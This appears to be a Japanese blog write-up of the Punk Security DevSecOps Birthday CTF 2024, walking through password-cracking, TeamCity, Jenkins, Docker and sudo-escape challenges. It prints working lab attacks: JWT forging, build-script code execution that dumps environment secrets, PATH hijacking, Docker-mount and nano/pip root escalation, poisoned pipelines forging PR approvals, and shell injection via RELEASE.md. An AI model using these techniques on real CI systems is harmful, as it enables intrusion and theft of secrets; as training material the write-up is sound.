はまやんはまやんはまやん

hamayanhamayan's blog

Punk Security DevSecOps Birthday CTF - 2024 Writeup

https://ctftime.org/event/2285

5位!

[Password Cracking] Password Cracking - 1 解いてない

flag.miami_californiaというファイルが与えられる。時間が無かったのと、0 solvesだったので解かなかったが、拡張子からShadeランサムウェアの暗号化ファイルであることが分かり、漏洩済みキーから復号化するのが正答とのこと。

[Password Cracking] Password Cracking - 2 解けなかった

You may need a TEAM to unSCRAMBLE this
zxx637ff4b3a1818507aee953fa0681aa0c

これをクラックする問題。全く糸口が無く分からなかった。

Discordでやり取りがあり、これでクラック可能らしい。
https://github.com/jacksingleton/teamcity-unscrambler

[Password Cracking] Password Cracking - 3

cHVua197VGhleV9hcmVfbm90X2FsbF90aGlzX2Vhc3l9

これをクラックする問題。base64だった。デコードするとフラグが出てくる。

[Password Cracking] Password Cracking - 4

cb5e8a23ec9e46a858372247af29a414

これをクラックする。CrackStationに投げると出てくる。collisionだった。

[Password Cracking] JWsT crack it

Webサイトが与えられる。題名からJWTみがあるので、Cookieを見てみると以下のようなtokenが入っていた。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc19hZG1pbiI6ZmFsc2V9.Hzfn6EknH8QxRsz4N4CYtJ0xFFi4IjB4b0yXHYUEZeA

ジャンルがPassword Crackingなのでクラックしてみる。

$ john --wordlist=/usr/share/wordlists/rockyou.txt h
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 512/512 AVX512BW 16x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
punksnotdead     (?)     
1g 0:00:00:00 DONE (2024-05-05 01:50) 10.00g/s 327680p/s 327680c/s 327680C/s 123456..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードが分かった。jwt.ioでJWT全体を見てみると、Payloadが{"is_admin": false}だったので、{"is_admin": true}にして署名しなおして、Cookieにセットしなおす。この状態で/adminにアクセスするとフラグが得られた。

[Misc] IntoTheWebs

ドメインpunksecurity.co.ukの登録日を調べる問題。

VirusTotalで答えを見つけることができた。Whois Lookupを見ると、Registered onが12-Feb-2021なのでこれを様式通り答えればよい。

[Misc] CISO Simulator

CISO SIMULATORというゲームが起動するので遊ぶ。CISOになりきり施策を決め、セキュリティ侵害を一定の範囲に収めれば勝ち。

まず最初に予算の使い方を決める。アンチウイルス、WAF、Cloud Audit、Penetration Test、Consultancyを入れておいた。それから、6か月間それぞれについて、各月何をするかを決定する。

  • 初月はWAF, SASTを実行した。セキュリティ侵害は起こらなかった。
  • 次月はFix Cloud Issueをした。セキュリティ侵害は起こらなかった。
  • 3カ月目はSecret Scanningをした。セキュリティ侵害は起こらなかった。
  • 4カ月目はDASTをした。セキュリティ侵害は起こらなかった。
  • 5カ月目はMonitoring and Loggingをした。セキュリティ侵害が起こり、60kユーロ損害。
  • 6カ月目はIncident Responseをした。それはそう。セキュリティ侵害は起こらなかった。

損害が500kユーロ未満だったのでフラグがもらえた。1発クリア。

[Misc] Hungry punk 解いてない

ポケモンGOのスクショがもらえるので場所を特定するOSINT問題。ローカルネタっぽかったのでパス

[Teamcity] Teamcity - Easy

TeamCityと認証情報が与えられる。ログインしてみると、1つプロジェクトがある。ビルドステップを見ると、以下のような感じ。

echo %env.flag% | sha256sum

出力結果はコンソールから見られるのでsha256sumを消してそのまま出力してやろうと思ったが、マスクされてしまった。それならと思い、base64で出力させると成功する。つまり、以下のように変更する。

echo %env.flag% | base64

実行ログにbase64エンコードされたフラグが乗ってくるのでデコードして答える。

[Teamcity] Teamcity - Medium

TeamCityとGiteaが与えられ、認証情報もそれぞれ与えられる。TeamCity側で用意されているビルドプロジェクトを見てみると、以下のようなビルドスクリプトになっていた。

cd webpack-app
webpack

webpackが動く。

Giteaを見てみよう。punkctf/webpack-appというレポジトリがある。javascriptのコード群が入っていて、webpack用にwebpack.config.jsも含まれている。よって、このレポジトリをうまく改変し、webpackが実行された際に任意のコードが実行できればよさそう。

webpack.config.jsを修正してRCEすれば良さそうなので、ChatGPT3.5に聞いて適当に作る。gitea経由で以下のように変更する。

const path = require('path');
const webpack = require('webpack');

module.exports = {
    entry: './src/index.js',
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
    },
    plugins: [
        new webpack.ProgressPlugin({
            handler: (percentage, message, ...args) => {
                if (percentage === 0) {
                    console.log('Build Starting');
                }
                if (percentage === 1) {
                    console.log('Build Finished');
                }
            },
        }),
  ],
};

これでビルドプロセスを動かしてみるが、Error: Cannot find module 'webpack'と怒られる。という訳で、別の方法がないか、ChatGPTを問い詰めると、以下のように普通に書けばいいよと教えてくれた。それもそうか。

const path = require('path');

module.exports = {
    entry: './src/index.js',
    output: {
        filename: 'main.js',
        path: path.resolve(__dirname, 'dist'),
    },
};

console.log('Can you see me?');

これを実行すると、ビルドログにCan you see me?が出てくるので、あとはRCEする。

console.log(require('child_process').execSync('env | base64').toString());

フラグは環境変数に入っていた。そのまま出すとマスクされるのでbase64でいい感じに取り出してくる。

[Teamcity] Teamcity - Hard

TeamCityとその認証情報が与えられる。Projectとして2つ入っている。

  • Challenge/whoami
    • ビルドステップはwhoamiするだけ
    • 編集可能
  • FlagHasher/FlagHasher
    • ビルドステップはsleep 5が設定されている
    • パラメタとしてenv.flagが設定されている
    • 編集不可能

フラグを得るにはFlagHasherのビルド実行経由で取得する必要があるが、編集できるのはwhoamiの方だけなのでどうしようかという部分が課題となる。注目すべきはビルドしているエージェントを共有している部分で、編集可能なwhoamiの方で何かを仕込んで、FlagHasherでうまく実行させてやればよさそう。FlagHasherでsleepが実行されているが、フルパス指定ではないのでPATH環境変数を弄ってやればよさそう?

whoami側で以下コマンドを実行してみる。

pwd
echo $PATH
->
/opt/buildagent/work/d1df6864f98d2599
/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

id
->
uid=0(root) gid=0(root) groups=0(root)

rootで動いてるなら何でもできますね。FlagHasherで動かしているsleepをハイジャックする。whoamiの方で以下を実行する。

echo 'echo $flag | base64' > /opt/java/openjdk/bin/sleep
chmod 777 /opt/java/openjdk/bin/sleep

こちらが用意したsleepをより優先度の高い所に置けたので、この状態でFlagHasherを動かすとecho $flag | base64が動かせてフラグが得られる。

[Teamcity] Teamcity - Extreme 解けなかった

前問であるTeamcity - Hardと状況は同じように見えるが、whoami側で前回試したコマンドを試してみると、rootユーザーでの実行からbuildagentユーザーでの実行にハーデニングされている。

pwd
echo $PATH
id
ls -la /opt/java/openjdk/bin
->
/opt/buildagent/work/d1df6864f98d2599
/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
uid=1000(buildagent) gid=1000(buildagent) groups=1000(buildagent),999(docker)
in directory: /opt/buildagent/work/d1df6864f98d2599
total 456
drwxr-xr-x 2 root root  4096 Apr 14  2023 .
drwxr-xr-x 9 root root  4096 Mar 27 11:35 ..
...

…という感じで、前回と同じやり方は使えない。

終了後のDiscordでwhoami側でbackgroundで/proc/PID/environを全部ダンプするスクリプトをぶん回しながらFlagHasher側を動かしてフラグを抜いてくるというやり方が紹介されていた。ref

[Teamcity] Teamcity - PBAC 解いてない

TeamCityとその認証情報が与えられる。Challenge/PBACというプロジェクトがあり、ビルドするとaws s3 ls s3://teamcity-s3-challengeが実行される。

(多分ビルド環境からAWSの認証情報抜いてきて、あとはAWS側を探索してフラグを見つけるという話だと思う。)

[Containerisation] Docker privesc

root権限に昇格せよという問題。ユーザー権限でのシェルは与えられる。

dockerを使って権限昇格ということでメモから使えそうなテクを探す。色々見るとfind / -name docker.sock 2>/dev/nullとすると/run/docker.sockが出てきた。つまり、普通にdockerコマンドが使えることになる。という訳でimageがあるか見てみよう。

ip-10-0-9-160:~$ docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
alpine       latest    b2aa39c304c2   14 months ago   7.05MB

使えそうなのがありますね。これを踏み台にして、今の環境のrootをマウント経由で持って来ることにします。dockerの内部に入って、ルートを/mntにマウントします。

docker run -v /:/mnt --rm --user root:root -it alpine /bin/sh

これで全部見れるようになったのでdocker内のシェルからcat /mnt/root/FLAGでフラグ獲得。(説明が雑すぎるかも)

[Containerisation] Kubernetes - EASY 解けなかった

ユーザー権限でのシェルが与えられ、フラグを探す問題。題名からKubernetesを使うのだろうというのは分かるが、Kubernetesのペンテストはよくわからん。いい所まで行ったと思うが、フラグまでたどり着かなかった…

[Containerisation] Docker Lair

ユーザー権限でのシェルが与えられ、フラグを探す問題。おもむろにdocker image lsするとchallengeというのがある。

ip-10-0-13-230:/$ docker image ls
REPOSITORY   TAG       IMAGE ID       CREATED              SIZE
challenge    latest    678eaa2fd6c7   About a minute ago   7.05MB
alpine       latest    b2aa39c304c2   14 months ago        7.05MB

layer毎に分解して中身を見てみよう。docker save challenge > dumped.tarとしてtar -xvf layer.tarとすると何層かレイヤーが見える。適当に巡回すると、f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1ebにフラグがあった。

ip-10-0-13-230:~$ ls
28d3982c35b499f19548bfe8f6374546c37a8c5f819d184a54f2b97924a86607
477b394dfb9f6eaf5088b4db3210fef7877b63cd870f33ba82cceacf9043f2f0
678eaa2fd6c70c0cf1ba67420e898bc8b33bbcd38f0d55f74a1bf421b9dceb16.json
a402dde20943a09b284aef93dadfd572a0709c6fe26d53ca1ba54e747556e755
f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb
ff7a4ae1cc88f37af6ab5700adc20b33a6777440a06a205db38471cbe0fc0a03
manifest.json
repositories

ip-10-0-13-230:~/f6f0d15e7b4f4484d8cdad7a59a4e910ea1323f8a4af7d1e222a80ff0a05a1eb$ cat opt/SEC
RET 
punk_{■■■■■■■■■■■■■■■■■}

[Containerisation] Docker all the way down 解けなかった

全く分からず。

[Containerisation] Kubernetes - HARD 解いてない

(EASY解けなかった…)

[GTFOBINS] GTFOBINS - 1

GTFOBINSということでsudo -lしてみる。

(ALL) NOPASSWD: /usr/bin/nano /root/mail

GTFOBinsでnanoを探すと権限昇格の方法を見つけることができる。 書いてある通りにやるとrootシェルが起動するのでフラグを適当に探して答える。

sudo /usr/bin/nano /root/mail
^R^X
reset; sh 1>&0 2>&0

これでrootシェル起動。

# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
total 28
drwx------ 1 root root 4096 May  4 15:37 .
drwxr-xr-x 1 root root 4096 May  4 15:32 ..
-rw-r--r-- 1 root root 3106 Oct 15  2021 .bashrc
drwxr-xr-x 3 root root 4096 May  4 15:36 .local
-rw-r--r-- 1 root root 1024 May  4 15:37 .mail.swp
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw-r--r-- 1 root root   24 May  4 15:32 FLAG
# cat FLAG
punk_{■■■■■■■■■■}

[GTFOBINS] GTFOBINS - 3

これも、初手sudo -lする。

 (ALL) SETENV: NOPASSWD: /usr/bin/pip install *

SETENVがあるので環境変数も引き継がれる。pipのGTFOBinsを見てみよう。 ここのやり方を参考にして以下のようにすると、/rootのディレクトリ情報が抜ける。

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'ls -la /root > /tmp/a')" > $TF/setup.py
sudo /usr/bin/pip install $TF
cat /tmp/a

echo部分をecho "import os; os.execl('/bin/sh', 'sh', '-c', 'cat /root/FLAG > /tmp/a')" > $TF/setup.pyにして同様にやればフラグ獲得。

[Jenkins] Saucy

JenkinsとGitea、そしてそれぞれの認証情報が与えられる。

  • Jenkins
    • Python Buildというジョブがある
    • 実行してみるとwhlファイルを作るもののようだ
  • Gitea
    • punkctf/python-appというレポジトリがある

ということで、python-appの内容がJenkinsのPython Buildでは実行されるんだろう。Gitea側のsetup.pyに追記して色々やる。適当にsetup.pyの末尾にprint(__import__('os').popen('id').read())を入れると、Console Outputにidの結果が出力されてきた。ok。

Console Outputを眺めるとFLAG=**** python3 setup.py sdist bdist_wheelと呼ばれているので、print(__import__('os').environ.get('FLAG')[:-1])でフラグを抜いてくる。([:-1]しているのはマスク避け)

[Jenkins] Look at the state of this

Jenkinsとその認証情報が与えられる。

Jenkinsを見るとSecure Jobs/Buildersというジョブがある。巡回していると、http://gitea.punk.local:3000/punkctf/jenkins.gitというURLにアクセスして何かしてるようだ。レポジトリの中身も見ることができる。中にはTerraformのあれこれが入っていて、ジョブではTerraformを使ってあれこれ動かしているみたい。

更に巡回すると、terraform.tfでpostgresの認証情報が手に入る。

terraform {
  backend "pg" {
    conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable"
  }
}

別途謎のコンソールが与えられていたので、これを使って接続しろということだろうと思い、psqlしてみると入れた。

punk@ip-10-0-10-188:/var$ psql -h postgres.punk.local -p 5432 -Utfstate -W -d tfstate
Password: 
psql (14.11 (Ubuntu 14.11-0ubuntu0.22.04.1), server 13.14 (Debian 13.14-1.pgdg110+2))
Type "help" for help.

tfstate=# SELECT distinct TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES;
      table_schema      
------------------------
 pg_catalog
 terraform_remote_state
 information_schema
(3 rows)

tfstate=# select distinct table_name from information_schema.tables where table_schema = 'terraform_remote_state';
 table_name 
------------
 states
(1 row)

tfstate=# select * from terraform_remote_state.states;
...
  |         |             "content": "punk_{■■■■■■■■■}",  
...

という感じに巡回しているとフラグがある。

[Jenkins] ArtifaSt

Jenkinsとその認証情報が与えられる。Jenkinsには、以下のジョブがある。

  • Secure Jobs/Builder
    • sleep 30をしてcurl $ARTIFACT_PATH -Oをするジョブ。curlで取得を成功すればtarファイルを解凍して中のbuild.shを実行する
  • Secure Jobs/Packager
    • http://gitea.punk.local:3000/punkctf/jenkins.gitを参照している
      • ここのjenkinsfileを見てみると…
      • Secure Jobs/Builderをkickする
      • Builderが使う http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar を用意

機能的には以上の通り。脆弱な点として、giteaにあるレポジトリの中のJenkinsfileでtarファイルをアップロードする際の認証情報がべた書きされていて漏洩している。以下のような感じ。

sh 'curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar'

前問同様に、便利に使えるコンソールが与えられることを考慮して、以下の流れで攻撃を進める。

  1. Packagerを実行する
  2. PackagerによってBuilderが実行され、Builder側はsleep 30を実行
  3. Packagerの残りの処理でpackager.tarが用意される
  4. Builderのsleepが終わる前に、別コンソールからpackage.tarをアップロード
  5. Builderのsleepが終わり、差し込まれたpackage.tarに入っているシェルスクリプトが実行される

ということで、別コンソールでは以下のようにやる。

echo 'echo $TOKEN | base64' > build.sh
tar cvf package.tar build.sh
# Packager実行
curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 -X DELETE http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1
curl --user punkctf:29de0161780654d14f74d04ecb472f5fd888a2e3 --upload-file package.tar http://gitea.punk.local:3000/api/packages/punkctf/generic/package/1.0.1/package.tar

Builder完了後にConsole Outputを見るとbase64エンコードされたフラグが載っている。

[Jenkins] It's just a comment

JenkinsとGitea、そして、その両方の認証情報が与えられる。

JenkinsではGitea/jenkinsというのがあり、Giteaではpunkctf/jenkinsというのがある。Gitea側ではPull RequestsにJenkinsからコメントがあり、secretが見つかったから消せ!というコメントが出ている。Jenkinsfileを見てみるとsecretという文字列で検索して、ヒットするとコメントを出す。

恐らく重要なのが、Pull Requestsが作られた段階でJenkinsfileが実行されているということだろうので、新しくPull Requestsを作ってRCEしてみよう。

  1. masterブランチから新しくpocブランチを作成
  2. Jenkinsfileのsecretでgrepしている部分の上くらいにenv | base64を追記し、コミット
  3. pocブランチをmasterブランチにマージする形でPull Requestを新しく作る
  4. Jenkins側でスキャンを動かす
  5. 該当PRのConsole Outputから結果を受け取る

色々RCEしてみるがフラグが見当たらない。ところでPull RequestsにJenkinsというユーザーがログインしていて、トークン情報が送られていることに気が付く。echo $GITEA_TOKEN | base64というのを追加してみて、取り出し、API呼び出ししてみよう。

http://gitea.punk.local:3000/api/v1/user?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"en-US","is_admin":true,"last_login":"2024-04-29T15:28:50Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":true,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"}

"is_admin":trueGiteaのAPI仕様書を見ながら巡回する。

http://gitea.punk.local:3000/api/v1/repos/search?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"ok":true, … ,{"id":2,"owner":{"id":2,"login":"jenkins","login_name":"","full_name":"","email":"jenkins@punk.local","avatar_url":"https://secure.gravatar.com/avatar/cf9325fafa42f009b2922e2943d2907f?d=identicon","language":"","is_admin":false,"last_login":"0001-01-01T00:00:00Z","created":"2024-04-29T15:27:35Z","restricted":false,"active":false,"prohibit_login":false,"location":"","website":"","description":"","visibility":"limited","followers_count":0,"following_count":0,"starred_repos_count":0,"username":"jenkins"},"name":"secret","full_name":"jenkins/secret", … 
->
jenkins/secretというのがありますね。

http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents?token=957b0734e64057f9129b628df3556afbaa1a7020
->
[{"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":null,"content":null,"target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master","html_url":"http://gitea.punk.local:3000/jenkins/secret/src/branch/master/Flag" …
->
Flagというファイルがありますね。

http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?token=957b0734e64057f9129b628df3556afbaa1a7020
->
{"name":"Flag","path":"Flag","sha":"1730702ad1437bc704e1ce3e6a0a6148232770fc","last_commit_sha":"cd746cb65f3ebd134e50f42ba91177183001b440","type":"file","size":25,"encoding":"base64","content":"cHVua19■■■■■■■■■■■■■■■■■■■■","target":null,"url":"http://gitea.punk.local:3000/api/v1/repos/jenkins/secret/contents/Flag?ref=master", …

やっと見つけた!

[Jenkins] Terraform - Hard 解けなかった

Jenkinsとその認証情報が与えられる。

JenkinsにSecure jobs/Builderというジョブがあり、giteaのhttp://gitea.punk.local:3000/punkctf/jenkins.gitにあるTerraformを実行している。前問 Saucy と同様にterraform.tfに認証情報が漏洩していた。

terraform {
  backend "pg" {
    conn_str = "postgres://tfstate:svA3PzGRjMyHn4XWha2G7i3v3uBW5HbS@postgres.punk.local/tfstate?sslmode=disable"
  }
}

前問と同じように解いてみるが、select * from terraform_remote_state.states;の後何も出てこない…DBを改ざんしてRCE?分からん。

[Jenkins] Peer reviews to fight abuse

JenkinsとGitea、その両方の認証情報が与えられる。状況は以下の通り。

  • Jenkins
    • Gitea
      • PRを探してJenkinsfileを実行してくれる
    • Secure Jobs/Generate Release
      • http://gitea.punk.local:3000/hudson/jenkins.git を動かしてる
      • 詳しい内部挙動は分からないが、実行時ログを見ると+ echo # Version 4.5.24...のようにRELEASE.mdをコマンド内部で使っていそうな雰囲気がある
  • Gitea
    • hudson/jenkins
      • 自由にPRを出すことはできるが、別の誰か1人に承認してもらう必要がある

ゴールはSecure Jobs/Generate Release$FLAGを出力させること。逆算して考えると、RELEASE.mdを使ってRCEをするのではないかと仮説が立つ。そして、RELEASE.mdを更新するにはPRで誰かに承認を強制させる必要がある。

承認を強制させる

これは、JenkinsのGiteaを使う。Jenkinsfileを見てみると以下のようにPRにコメントを残す処理をしている。コメントの主はJenkinsというユーザーであり、自分とは異なる。

pipeline {
    agent any
    stages {
        stage('build') {
            steps {
                withCredentials([string(credentialsId: 'gitea', variable: 'GITEA_TOKEN')]) {
                    sh '''#!/usr/bin/env bash
                            curl -X 'POST' \\
                              "http://gitea.punk.local:3000/api/v1/repos/hudson/jenkins/pulls/$CHANGE_ID/reviews" \\
                              -H 'accept: application/json' \\
                              -H "Authorization: token $GITEA_TOKEN" \\
                              -H 'Content-Type: application/json' \\
                              -d "{
                              \\"body\\": \\"Thanks for your submission. Please wait for a maintainer to approve your PR.\\",
                              \\"commit_id\\": \\"$GIT_COMMIT\\",
                              \\"event\\": \\"COMMENT\\"
                            }"
                    '''
                }
            }
        }
    }
}

PRを出して、JenkinsのGiteaで処理をする際に使うJenkinsfileはPRでpushしたファイルが利用される。そのため、このコメントを残す処理を承認をする処理に変えてやれば承認を強制させることができる。

手順としては、まず承認させたいPRを作成する。今回の中間目標はRELEASE.mdの修正なので、RELEASE.mdを修正してPRを出す。

次に、RELEASE.mdの修正PRを承認させるためのPRを出す。Jenkinsfileの以下の部分を変更する。

  • $CHANGE_IDをRELEASE.mdの修正PRの番号にする
  • bodyとcommit_idを消す(指摘だと思われて承認が外れるっぽい?)
  • eventをAPPROVEDに変更する

この状態に変更してPRを出し、Jenkins側からGiteaのジョブを動かすと、変更後のJenkinsfileが実行され、指定のPRに承認がなされる。これでmergeの条件を満たすのでmarge可能となる。

RELEASE.mdを使ってRCEをする

これは単純でRELEASE.mdの中身を展開するときにエスケープされないのか、末尾に'を入れることでechoに入る文字列を脱出することができる。つまり、末尾に' && id #と追加すればidコマンドの結果を得ることができる。

よって、最終的にはRELEASE.mdの末尾にecho $FLAG | base64としてフラグを取り出せば良い。